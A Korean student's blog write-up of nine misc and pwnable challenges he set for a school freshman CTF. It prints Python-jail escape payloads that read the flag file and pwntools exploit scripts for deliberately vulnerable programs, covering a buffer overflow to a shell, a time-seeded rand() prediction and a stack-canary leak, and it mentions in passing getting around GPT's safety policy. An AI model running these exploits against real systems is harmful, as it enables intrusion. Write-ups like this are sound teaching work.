# Intro.
안녕하세요. 한국디지털미디어고등학교 23기 웹 프로그래밍과에 재학중이고, 해킹동아리 STEALTH에서 해킹을 공부하고
있는 pandas, 김준원입니다.
2025.03.05~2025.03.26, 정확히 3주간 진행된 "디미고 24기 신입생 대상 CTF"를 주최하며 제가 출제한 모든 문제에 대한 풀이 방법, 즉 Write Up을 공유하도록 하겠습니다. 문제 제작 동기, 아이디어, 문제 취약점, 정석 풀이, 후기 등등의 내용 전부를 공유하도록 하겠습니다
CTF 운영의 사전 준비와 운영중 운영진들과의 있었던 모든 일들은 공개하기로 합의가 되지 않았으니, CTF 운영에 관한 내용은 적어두지 않은 점 참고 바랍니다.
Misc와 pwnable 총합 9문제를 출제하였습니다
각설하고 바로 풀이 들어가겠습니다
말투 살짝 바꾸겠습니다,,,
# 0x01. Can You See M3? - MISC - easy
solve : 57 / score : 100
- 제작 배경
제가 처음 MISC로 출제한 문제이다
H4CKING GAME의 https://h4ckingga.me/challenges#Season1%20:%20Paint-16이 문제를 보고 아이디어를 얻었다
당시 저 paint문제를 풀었을 때, 난이도도 쉽고, 풀이 방식이 참신해서 이 문제를 내야겠다라고 생각했다
- 문제 파일
- 풀이
다양한 풀이가 존재하는지는 모르겠지만, 사진 편집해서 푸는게 인텐이다
Windows의 [사진]에서 그냥 조정만 해주었고, 밝기 + 노출 + 대비만 올려주면 플래그가 보인다
DIMI{1_C4N_S2e_Fl4g}
- 후기
많이 풀어주셔서 감사합니다. 감사합니다
출제하고 보니 Fl4G에서 l이 1인지 L의 소문자인지 구분이 조금 어려울 수 있다고 생각했지만, 이정도는 몇번 찍어보면 될거라고 생각하고 넘어갔습니다
# 0x02. GIT HUB - Misc - easy
solve : 58 / score : 100
- 제작 배경
이 문제는 대회 개최 직전 만들었다
Misc를 더 만들자는 말에 부랴부랴 생각해낸건데, commit message를 사용해서 문제를 만들어도 재미있겠다는 생각에 만들었다
그냥 이건 Mic Check에 이어서 점수를 주는 문제였다
- 문제
https://github.com/rlajunwon/2025-DIMI-CTF 이게 문제이다
- 풀이
뭔가 플래그는 안보인다
커밋이 몇개 있으니 우측 상단의 [3 Commits]를 눌러본다
이건 그냥 github에 대해서 들어만 봐도 금방 풀 수 있는 문제였다
DIMI{D0_you_kn0w?_h0w_toooooooooo_us2_g1t_hub???}
- 후기
사실 대충 만든 문제였고, 대충 풀면 되는 문제이니 그리 애착이 가는 문제는 아니였다
그냥 날먹, 점수주는 문제였다
# 0x03. DIMI JAIL - Misc - easy
solve : 9 / score : 424
- 제작 배경
원래 이 문제는 내가 낼 생각이 아니였는데, 하도 "MISC를 더 달라"는 말이 나와서 20분만에 급하게 만든 문제다
그래서 문제가 좀 잘못되었다
- 문제 파일
--Dockerfile과 flag는 굳이 언급 안함--
# prob.py
print("I want to go HOME!!")
print("escape DIMI JAIL - 1!!")
command = input(">> ")
ban_list = [
'flag', 'exec', 'system', 'eval', 'os', 'print', 'input', 'open', 'compile', 'globals', 'locals', 'vars', 'dir',
'getattr', 'setattr', 'delattr', 'import', '__import__', 'sys',
'socket', 'shutil', 'thread', 'threading', 'importlib', 'ctypes',
'inspect', 'builtins', 'exit', 'quit',
'mro', '__class__', '__globals__', '__code__',
'__base__', '__func__', '__dict__', '__closure__'
]
if command in ban_list:
print("Wait...what???")
print("such a bad word!!!")
quit()
else:
exec(command)
- 풀이
사실 그냥 pyjail 블로그에 있는 코드 비슷하게 들고온다고 했는데, 급하게 만드느라 필터링이 안되었다고 한다
# import os; os.system("cat flag")
필터링이 안되니 그냥 이렇게 뚫린다,,,,;;
DIMI{1_W4nt_t0_2scap3!!_3월달인데___집가고싶어요}
# 0x04. DIMI JAIL revenge - Misc - easy
solve : 8 / score : 559
- 제작 배경
빠르게 다른 출제진들의 도움을 받아서 revenge로 만들었다
원래는 내가 낸 문제를 삭제하려고 했지만, 이미 풀이자가 나와서,,ㄷㄷ, 어쩔 수 없이 revenge를 만들었다
- 문제 파일
# prob.py
print("I want to go HOME!!")
print("escape DIMI JAIL - 1!!")
command = input(">> ")
ban_list = [
'flag', 'exec', 'system', 'eval', 'os', 'print', 'input', 'open', 'compile', 'globals', 'locals', 'vars', 'dir',
'getattr', 'setattr', 'delattr', 'import', '__import__', 'sys',
'socket', 'shutil', 'thread', 'threading', 'importlib', 'ctypes',
'inspect', 'builtins', 'exit', 'quit',
'mro', '__class__', '__globals__', '__code__',
'__base__', '__func__', '__dict__', '__closure__'
]
if command in ban_list:
print("Wait...what???")
print("such a bad word!!!")
quit()
else:
exec(command)
- 풀이
pyjail은 좀만 구글링 해도 풀릴 것 같긴 했다
그리고 풀이 방법이 굉장히 다양해서 꼭 인텐!이라고 고집할 것도 없긴 하지만, 내가 생각한 풀이는
# import subprocess; subprocess.call(["cat", "./flag"])
subprocess로 푸는걸 원했다
DIMI{죄송합니다__원래_문제에_언인텐_풀이와_코드를_잘못짜서_이상했습니다__죄송합니다}
- 후기
대회 막바지라 정신을 똑!바로 안차려서 큰 실수를 해버렸다
이 자리에서 사과의 말씀을 다시 드리며, 앞으로는 검수를 꼼꼼히 하겠다는 마음가짐으로 문제 출제하겠습니다,,,,
# 0x05. 가난한 PANDAS - Misc - easy
solve : 16 / score : 100
- 제작 배경
이 문제는 꽤나 애착이 가는 문제이다
Misc문제에서 '특정 금액을 얻기 위해서 음수를 입력한다던지, 엄청 큰수로 overflow를 일으키다던지'하는 문제를 종종 본적이 있다
이런 문제를 Misc를 내면 좋겠다는 생각을 하긴 했지만, 도박? 이렇게 하면 'PANDAS의 수행평가'문제와 겹칠 것 같아서 보류했다
(TooooooMI) 그러던 중, 필자가 방학에 여행을 갔는데, 키오스크로 주문을 하던중 "N빵"이라는 기능을 보고 "사람이 엄청 많은데, int로 타입을 관리한다면???" 이라는 생각이 났고, 이를 활용해서 문제를 내야겠다는 생각을 했다
숙소에 오자마자 바로 뚝딱 프로토타입을 만들고 솔직히 문제 잘냈다고 감탄했다
여행까지 가서 DIMI CTF 문제 낼 생각을 했다는 점에서 기억에 남았다
- 문제 파일
# prob.py
import random
class PandasRestaurant:
def __init__(self):
with open("flag", "r") as f:
self.flag = f.read().strip()
self.current_menu_list = []
self.ordered_menu = []
self.total_prize = 0
def start_menu(self):
print()
print("[1] Rules")
print("[2] Menu")
print("[3] Order")
print("[4] Pay")
def rule(self):
print("================== Goals ==================")
print("Your goal is to make PANDAS pay nothing")
print("if PANDAS pay NOTHING, PANDAS will give present for you!")
print("GOOD LUCK :D!")
print("===========================================\n")
def menu(self):
food = [
"Hamburger","Pizza","Pasta","Salad","Sandwich","Steak",
"Fried Chicken","Tacos","Hot Dog","Sushi","Spaghetti",
"Fish and Chips","Grilled Cheese","Burrito","Ramen",
"Curry","Noodles","French Fries","Waffles","Pancakes"
]
menu_list = [0] * random.randint(3, random.randint(5, 8))
for i in range(len(menu_list)):
menu_list[i] = (
food[random.randint(0, len(food)-1)],
random.randint(1, 9)*10
)
print(f"{i+1} - {menu_list[i][0]} : {menu_list[i][1]}$")
return menu_list
def order(self):
self.people = int(input("> How many people? : "))
if self.people <= 0:
print("Are You Ghost??")
quit()
self.ordered_menu = []
while True:
select = int(input("> What do you want? : "))
if select > len(self.current_menu_list) or select <= 0:
print("Error")
quit()
else:
self.ordered_menu.append(self.current_menu_list[select-1])
print(f"{self.current_menu_list[select-1][0]} - {self.current_menu_list[select-1][1]}$ Ordered\n")
if input("> Do you need more? [y/n] : ") == "n":
break
def pay(self):
self.total_prize = sum(item[1] for item in self.ordered_menu)
print(f"> Total prize is {self.total_prize}$")
self.pandas_prize = int(self.total_prize/self.people)
print(f"# Pandas prize is {self.pandas_prize}$")
if self.pandas_prize == 0:
print("WOW! Pandas don't need to pay!!")
print(self.flag)
quit()
else:
print("No...Pandas is poor")
quit()
def run(self):
while True:
self.start_menu()
start_menu_select = int(input(" > "))
if start_menu_select == 1:
self.rule()
elif start_menu_select == 2:
self.current_menu_list = self.menu()
elif start_menu_select == 3:
if not self.current_menu_list:
print("View menu [2] first!")
else:
self.order()
elif start_menu_select == 4:
self.pay()
else:
print("Error")
quit()
if __name__ == "__main__":
prob = PandasRestaurant()
prob.run()
- 풀이
문제 코드가 더럽다
사실 프로토타입은 10줄로 끝났는데, 그러면 취약점이 너무 잘 보여서 일부로 class도 쓰고, 함수도 쓰고 로직을 더럽게 구현해놓았다
풀이는 간단하다
사람을 99999999999명정도 대려오고, 메뉴를 아무거나 1개 시키면 된다
(pandas price) = int((menu price) / (people))로 계산되니 가격이 0.xxxxx이 되어도, 0으로 처리가 된다
약간 수2의 극한이라고 생각하면 편하다
DIMI{W0w!!_Good_J0b!!_문제_코드가_더럽죠?_어짜피_제가_분석할게_아니거든요ㅋㅋ_음식점_키오스크에서_주문하다가_이_문제의_아이디어가_떠올랐답니다_h4HAh4_이상_문제_tmi였습니다}
- 후기
일부로 class, def, self, logic을 더럽게 구현하다보니 생각보다 풀이자가 적었다
이런 문제는 그냥 실행시켜보면서 푸는게 가장 좋을 것 같다
또한 flag가 상당히 길다
TMI를 넣다보니, 길어졌고, 이로 인해서 플래그가 2줄에 걸쳐서 출력될시, 공백이 추가되어 flag인증이 안되는 문제도 발생했다
이래서 내가 받은 티켓만,,,좀 많았다,,,
다음부터는 플래그 길이를 짧게 적당히 해야겠다
# 0x06. SYSTEM - PWN - easy
solve : 6 / score : 775
- 제작 배경
pwnable에 대해서 아무것도 몰라도 풀 수 있도록 문제를 출제하였다
pwnable이 궁극적으로 무엇을 하는지, C언어에서는 어떻게 구현하는지만 알고 있으면 풀 수 있는 쉬운 문제이다
- 문제 파일
dockerfile, flag는 필요도 없고, prob ELF파일이 주어진다
이를 ida로 분석해보자
- 풀이
코드를 보면 __isoc99_scanf라는 함수는 그냥 scanf함수이다
따라서 "입력을 받은 명령어를 system()함수로 실행하는 프로그램"이다
pwnable이 무엇인가? 관리자 권한을 획득하는 것이다
그럼 어떻게 하는가? system("/bin/sh")를 실행하면 된다
따라서 입력에 /bin/sh만 입력하면 된다
DIMI{Sy2t2m_b1n_sh31l}
- 후기
사실 이건 진짜 풀라고 만든 문제인데, 어렵다고 해서 놀랐다
BOF가 더 많이 풀린게 신기?하다
아마도 c언어 코드를 안줘서, IDA로 디컴파일 하는데서 많이 어려워한것 같다
C코드를 제공하였으면, mic check급 날먹문제가 되었을 것 같다
# 0x07. EASY - PWN - easy
solve : 3 / score : 964
- 제작 배경
pwnable에서 가장 쉬운 취약점이 뭘까? BOF와 rao이다
그래서 그걸 그대로 구현했다
- 문제 파일
// prob.c
#include <stdio.h>
#include <unistd.h>
void Init() {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void exploit(){
execve("/bin/sh", 0, 0);
}
int main(){
char buf[0x10];
Init();
printf("==== Don't be afraid! PWNABLE is EASY!! ====\n");
scanf("%s", buf);
}
ELF파일도 준다
보호기법 다 해제해서 컴파일 해줬다
- 풀이
buf에 0x10만큼 할당한다
scanf로 제한없이 입력을 받는다
scanf는 개행 문자를 만나기 전까지 입력을 받으므로, buf에 큰 값을 입력할 수 있다
따라서 Buffer Over Flow가 터지고, 이후의 ret를 변조할 수 있다
정리하면
1. buf는 0x10만큼 할당되었다
2. 하지만 scanf로 제한 없이 입력할 수 있다
3. buf에 큰 값을 입력하게 되면, 이후의 함수의 반환 주소를 바꿀 수 있다 (프로그램의 실행 흐름 조작 가능)
4. 그럼 함수의 반환 주로를 exploit()함수를 가리키도록 하면 권한을 얻을 수 있다
# exploit.py
from pwn import *
# p = process("./prob")
PORT = 31337
p = remote("dimictf.lol", PORT)
e = ELF("./prob")
context.arch = "amd64"
payload = b'A'*0x10
payload += b'B'*0x8
payload += p64(e.symbols['exploit'])
p.sendline(payload)
p.interactive()
A로 buf를 채웠고, 이후 SFP값을 덮어주었다
SFP와 bof, rao에 대한 추가적인 설명은 여기서 다루지 않겠다 (너무 길어짐)
(질문이 있다면? 구글링 or dreamhack or 개별적으로 DM plz)
DIMI{syst2m_H4ck1ng_1s_3asy!!}
- 후기
왜 BOF문제는 푸는데 EASY는 안?못?푸는거지??
왜 BOF문제는 푸는데 EASY는 안?못?푸는거지??
왜 BOF문제는 푸는데 EASY는 안?못?푸는거지??
그래도 rao를 알고있는 신입생들이 있어서 좋았다
# 0x08. PANDAS의 수행평가 - PWN - easy
solve : 3 / score : 964
- 제작 배경
가장 애착이 간 문제이다
진짜로 24년 10월부터 이 문제를 구상해서, C언어 수행평가로 제출하였다
그리고 취약점을 살짝 숨겨서 DIMI CTF에 출제하였다
5개월 전부터 구상하고, 만든 문제라 가장 애착이 간 문제이다
또한 11월 STEALTH research에서도 random crack을 공부해서, random crack을 활용하는 문제였다 (인텐)
- 문제 파일
무슨 파일이 많다
// prob.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#define goal 1048576
void Init(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void start(){
system("clear");
printf("Welcome To Random World!!\n");
printf("Your Goal is 1,048,576 score!\n");
printf("Good Luck,,,:D\n\n");
}
void correct(){
printf("!!!! Correct !!!!");
fflush(stdout);
}
void wrong(){
printf("!!!! NOPE !!!!");
fflush(stdout);
}
void point(int point){
char file_name[200];
sprintf(file_name, "number_list/%d.txt", point);
FILE *file = fopen(file_name, "r");
char line[256];
while(fgets(line, sizeof(line), file)){
printf("%s", line);
}
printf("\n\n\n");
fflush(stdout);
fclose(file);
}
void win(){
execve("/bin/sh", 0, 0);
}
int main(){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
Init();
start();
srand(time(NULL));
int count=0, user_input, user_point=1, weight=1, correct_count=0, wrong_count=0;
while(1){
if(user_point>=goal){
printf("WoW! You Clear ALL Stage!!! - Enter Player's name for winning prize : ");
fflush(stdout);
char name[0x10];
scanf("%s", name);
printf("%s\n", name);
break;
} else {
int set_random = rand();
count++;
weight = 2 << correct_count;
if(weight < 2) weight = 2;
printf("[STAGE %d] (point*%d) - Your Point : %d\n", count, weight, user_point);
point(user_point);
printf("Guess random number (odd : 1, even : 0) : ");
fflush(stdout);
scanf("%d", &user_input);
if(user_input < 0 || user_input > 1){
printf("wrong input\n");
fflush(stdout);
break;
}
printf("\n> Your Guess is %s\n", (user_input==0?"EVEN":"ODD"));
fflush(stdout);
sleep(1);
printf("> hmmm......\n");
fflush(stdout);
sleep(1);
printf("> Computer's Choice is : %d (%d)\n", set_random % 2, set_random);
fflush(stdout);
if(user_input==set_random%2){
correct();
user_point *= weight;
correct_count++;
} else {
wrong();
wrong_count++;
user_point /= 4;
if(user_point<=0) user_point=1;
}
printf("\n\n");
fflush(stdout);
if(count % 3==0){
system("clear");
start();
}
}
}
return 0;
}
보호기법 전부 해제, ELF파일 제공
- 풀이
단순하게 홀짝 도박을 하고, 이기면 점수를 가중치 만큼 곱해주고, 틀리면 4로 나눠주는 프로그램이다
만약에 목표 점수를 채우면 이름을 입력하도록 해주는데, 여기서 bof가 터지고, rao로 exploit하면 된다
정석 풀이는 random을 유추해서 6번만에 이름을 입력하고 exploit하는 건데, 언인텐 풀이도 존재한다
4로 나눠주므로 그냥 계속 도달할때까지 무한 반복을 하는 것도 하나의 방법이다
정석 풀이를 설명하자면,
문제 파일에서 srand(time(0))으로 seed를 설정하고, seed로 random값을 만든다
하지만 C언어의 난수 생성 방식은 LCG방식을 사용하고, 이는 seed를 알고 있으면 random값을 알 수 있다
seed가 시간 기반이므로, 프로그램이 시작되는 시간을 알면 random을 알 수 있다
python exploit을 작성하는데, ctypes로 Linux에 있는 libc를 불러오고 python으로 srand(time(0))과 rand()를 구현하면 된다
여기서 libc는 C언어 library로 c에서 쓰이는 함수들이 있다
그래서 python에서 c언어를 그대로 구현할 수 있다
# exploit.py
from pwn import *
from ctypes import *
p = process("./prob")
e = ELF("./prob")
def slog(n, m): return success(" : ".join([n, hex(m)]))
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(libc.time(0x00))
def crack():
random_crack = libc.rand()%2
p.sendlineafter(b") : ", str(random_crack).encode())
print(random_crack)
win = e.symbols['win']
for i in range(6):
crack()
payload = b"A"*0x30 + b"B"*0x8 + p64(win)
p.sendline(payload)
print(hex(win))
p.interactive()
이게 의도한 풀이였다
name이 0x10만큼 C언어 코드에서는 나와있지만, gdb로 분석해보면 0x30만큼 할당이 된다
이거 때문에 많이 못 푼것 같다,,,,
stack alignment에 대해서 알고 있다면 쉬웠던 문제
# 0x09. 도둑질-1 - PWN - medium
solve : 0 / score : 1500
- 제작 배경
BOF와 rao, shellcoding같은 기본적인 것만 있어서 medium으로 낼만한게 canary라 canary 문제를 출제하였다
rao를 하면, SSP정도는 쉽게 우회할 것이라고 생각했지만, 그러진 않았다
- 문제 파일
힌트로 https://en.wikipedia.org/wiki/Domestic_canary 이걸 준다. 쓸모는 없다
// prob.c
#include <stdio.h>
#include <string.h>
void Init() {
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void get_shell(){
system("/bin/sh");
}
int main(){
Init();
printf("Welcome to goldleo1's house :D\n");
printf("You can steal even flag!!! (if you can HAHA)\n\n");
char buf[0x10];
printf("> What Do you want : ");
read(0, buf, 0x200);
printf(buf);
printf("> How many do you want? : ");
read(0, buf, 0x200);
printf("\n!!!!!!!!!!!!!!!\n");
printf("Goldleo1\nis\ncomming.....!!!!");
}
도커, prob.c, ELF파일도 준다
Canary만 걸려있다
- 풀이
자 그럼 어떻게 푸는거냐 하면, bof가 터진다
BOF로 rao로 하려고 하면, 아마 stack smashing error가 뜰것이다
그건 왜 그러냐? 하면 canary라고 하는 것 때문이다
이 개념도 여기서 자세히 다루면 너무 길어지니, 추후에 포스팅 할거고, 무튼 카나리라고 하는게 있다~ 정도만 알고 넘어가자
한 줄 요악을 해보면 버퍼와 SFP사이에 임의의 값을 넣어서 BOF를 방지하는 그런 친구이다
하지만 canary를 알아내서, canary check를 하는 부분에 leak한 canary를 넣어주면 정상적으로 bof를 유발하고, rao를 할 수 있다
# exploit.py
from pwn import *
p = process("./prob")
p = remote("dimictf.lol", 43547)
e = ELF("./prob")
def slog(n, m): return success(" : ".join([n, hex(m)]))
# pay = b"A"*0x10 + b"B"*0x8 + b"C"
pay = b"A"*0x19
p.sendafter(b"want : ", pay)
p.recvuntil(pay)
cnry = u64(b"\x00" + p.recvn(7))
slog("cnry", cnry)
get_shell = e.symbols['get_shell']
slog("[+] get_shell", get_shell)
payload = b"A"*0x18 + p64(cnry) + b"B"*0x8 + p64(get_shell+5)
p.sendlineafter(b"want? : ", payload)
p.interactive()
# This exploit code is written by Void
# Special thanks to Void!!
첫번째 입력에서 canary leak을 하고, 두번째 입력에서 leak한 canary로 rao해주면 된다
get_shell에 5를 더하는 이유는 stack alignment때문이라고 한다
이 부분에 대해서도 추가적으로 공부 후, 새롭게 포스팅 할 예정이다
- 후기
canary와 stack alignment라는 내용때문인지 0솔이 나왔다 (저 1솔은 내가 푼거다)
예상은 했지만 풀이자가 없으니 슬프다,,
오히려 이 문제는 내가 배울게 많이 생겼다
추가적으로 이 문제는 내게 SFP와 stack alignment를 공부 & 정리 (포스팅)이라는 과제를 주었다
언젠간 이 과제를 하겠다,,,?
# 0xFF. Outro
지금까지 제가 출제한 9문제(misc 5, pwn 4)에 대한 전 문항 풀이를 마쳤습니다
아무래도 블로그 글에 쓰는것도 한계가 있고, 전체적인 풀이 방향에 대해서만 소개를 하는 정도라, 문제 풀이에 필요한 개념, 환경 설정등을 다루지 못하는 점은 양해 바랍니다,,
추가적인 질문 사항, 환경 설정, 문제 파일 등등등 문의사항이 있으시면
https://discord.com/users/1214140734890835989 (pandas._.08 or pandas)
로 DM 남겨주시면 도와드리겠습니다
추가적으로 여담을 해보자면, 저도 "pandas"라는 hidden된 아이디로 CTF에 참여하였습니다
'출제자니깐 모든 문제 다 풀 수 있는거 아니야?'라고 하실 수 있겠지만, 제가 출제한 pwnable, misc에 대한 풀이는 아주 잘 알고, 다른 분야의 출제진들이 출제한 문제의 몇몇 풀이만 알지, 저도 다른 분야의 문제는 어떻게 푸는지 모릅니다,,,ㅜ
당연히 출제진들이 풀이법을 공유해주고, 풀이 방법을 알려준 문제도 있지만, 아직도 못 풀었습니다,,,,(ejs,,,,,,눈 앞에서 풀어줘도 이해를 못했습니다,,,,)
당연히 제가 문제를 출제했으니, 잘 푸는게 맞지만, 생각보다 다른 분야의 문제들이 쉽지 않았고, 전 분야를 다 풀지 못했습니다,,,
개인적인 소감으로는
Trinity Revenge는 애초에 마인크래프트를 안해서 절대로 못 풀 것같고,,,
Emoji는 그냥 못 풀겠어요,, 푸신분들이 진짜 대단합니다
PWN에서도 모든 문제를 다 본건 아니지만, DIMITALK는 아마 제가 못 풀 수도 있을 것 같다는 생각이 드네요,,
WEB은 도대체 왜 ejs 출제자가 쉽다고 "주장"하는지는 모르겠지만, 힌트가 정말 도움이 되는건 맞지만, 풀이 방법이 조금은 생소?하달까? 취약점을 이해하는 건 어렵지 않았지만, 익스하는 과정에서 필요한 지식과 경험이 부족하여 어렵지 않았나,,라고 조심스럽게 예측합니다 (저도 그랬습니다)
REV는 쉽다고는 하지만, 쉬운 문제는 정말 쉬운 문제고, 연습하기에 정말 좋은 문제들이 맞다고 생각합니다, 다만 hard문제들은 좀 어렵습니다
Crypto는 대부분 GPT 딸깍으로 풀리긴 하던데, o3 유료버전을 사용하는 신입생이 몇명이나 있을까?하는 질문과 환경 세팅 + GPT의 보안 정책 우회 질문(?) 이 부분에서 조금 막히지 않으셨을까 하고 조심스럽게 예측해봅니다
MISC문제들은, 뭐 너무 광범위 하고, 해킹 지식이 그리 요구되는 것도 아니니, 그냥 그럭저럭 푸셨을 것 이라고 예상합니다
CTF를 운영해본 소감을 한마디로 정리하자면 "정말정말 힘듦"이라고 정리할 수 있습니다
24년 10월부터 출제를 시작하였고, 대회 준비에만 5개월이상 소요되었습니다
STEALTH x TRUST 동아리 연합으로 진행되는 것이므로, 출제진도 많고, 전부 대회 출제가 처음이다보니 논의할 사항도 많고, 준비할 사항도 많았습니다
신입생분들이 대회를 경험한것은 3주이지만, 출제진들은 그보다 훨씬 긴 기간동안 준비하였습니다
문제 아이디어를 구상하고, 문제를 만들고, 문제 검수하고, 도커 공부하고, CTFd사용법 익히고 등등등등등등,,,,엄청나게 열심히 노력하였습니다
정말 감사하게도, 부족한 저를 이끌어줄 훌륭한 출제진들이 있었기에, 대회가 잘 개최되었고, 마무리 되었습니다
대회 개최가 그냥 문제만 만들면 되는줄 알고 쉽게 봤는데, 웹 개발 + ctfD + 디코 운영 + 문제 검수 등등등 정말 많은일을 해야하고, 출제진들이 모두가 각자의 분야에서 열심히 노력해주었습니다
정말 많은 걸 배우고, 다시 한 번 공부하게된 계기가 되어서 정말 좋았습니다
이 자리를 빌어서 출제진들과 참가자분들께 정말 감사하다는 말씀을 전하고 싶습니다
또한 작년, 그 이전부터 DIMI CTF를 개최해주시고, 저희에게 많은 도움을 주신 선배님들, 정말 감사합니다
제가 배운 점들도 많고, 느낀점들도 많아 전부 공유해드리고 싶지만, 그러다가는 글이 너무 길어지고, 루즈해질것 같아서 이만하도록 하겠습니다
추가적으로 궁금한 사항이 있다면 (정말 아무거나)
https://discord.com/users/1214140734890835989
여기에서 저에게 DM주시면 성심성의것 답변해드리도록 하겠습니다 (질문시 누구인지만 밝혀주세요,,,)
혹은 댓글 남겨 주세요
지금까지 [2025 DIMI CTF - Prob by pandas. with 후기], 긴 글 읽어주셔서 감사합니다
pandas, 김준원이였습니다
.
.
.
.
.
.
.
.
.
.
.
.
.
.
return 0;
'CTF' 카테고리의 다른 글
[ 2025 COSS 아주대 CTF - 본선] - Write Up & 후기 (5) | 2025.07.25 |
---|---|
[2025 COSS 아주대 CTF - 예선 ] - Write Up & 후기 (0) | 2025.06.23 |
[2025 Codegate 예선] - Write Up & 후기 (0) | 2025.05.26 |
[CTF] 제 5회 중부대학교 JBU CTF (1) | 2025.02.27 |
[CTF] 2024 ELECCON 일렉콘 예선 (0) | 2025.02.27 |